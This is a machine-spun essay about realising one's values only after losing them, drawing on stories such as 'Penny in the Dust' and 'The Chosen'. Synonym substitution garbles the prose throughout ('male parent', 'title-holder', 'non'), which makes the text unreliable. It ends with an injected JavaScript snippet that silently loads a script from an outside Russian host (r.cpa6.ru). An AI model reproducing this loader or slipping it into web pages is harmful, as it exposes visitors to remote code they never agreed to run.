hungry for love, and love will feed you ; subsequently, you will be hungry for love. And love, in instance you do non understand, is the status you will come to fear. This stanza explains that the storyteller one time has love, but he finds out subsequently that love is merely something one should fear. The loss of love has ever been a distressing affair. In the narrative Penny in the Dust, Dan loses his darling male parent. It is after his male parent dies that Dan wants to cognize more about him. When Dan # 8217 ; s male parent was alive, Dan neer appreciated the opportunity of speaking to his male parent. In the narrative Champions, the storyteller, after being a title-holder, does non desire to be one. Bing a title-holder had left me without much desire to do a calling of it. Many do non value what they have when they do hold it. After they lose it, they realize how much they need whatever they lose. This besides happened in The Chosen, when Reuven realizes that being lonely is a really painful experience. Although this memorisation of lost values generates pain, yet it happens for a ground # 8211 ; to learn a lesson. It serves as a painful realisation of what one truly values, therefore enabling the individual to understand himself/herself better. In the narrative The Clumsy One, Dan cruelly segregates himself from his brother in order to mortify him. However, as he finds out that he deeply declinations this, he can non do up for it. One clip, Dan # 8217 ; s brother makes the state of affairs equal by mortifying Dan in forepart of Dan # 8217 ; s friends ; Dan does non experience disquieted about this anymore. It is so that Dan finds out that his brother is person he truly loves and values. It is most frequently that one truly finds what they value after they loses it. In many cases, people do everything they can in order to make success. However, after they get a clasp of success steadfastly in their custodies, they do non prize it. Finally when they lose it, they realize that they can non be without it for even one minute. This is human nature that cause many heartaches when 1 loses what he/she values. # 8220 ; Life is a box of cocoas. You neer know what you # 8217 ; re gon na get. # 8221 ; ( Movie, Forrest Gump ) . In the long life route, one may non happen what he/she genuinely values, but anything can go on in the universe. It is wiser to value everything that is about, because one can happen a true beauty in everything in the universe. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;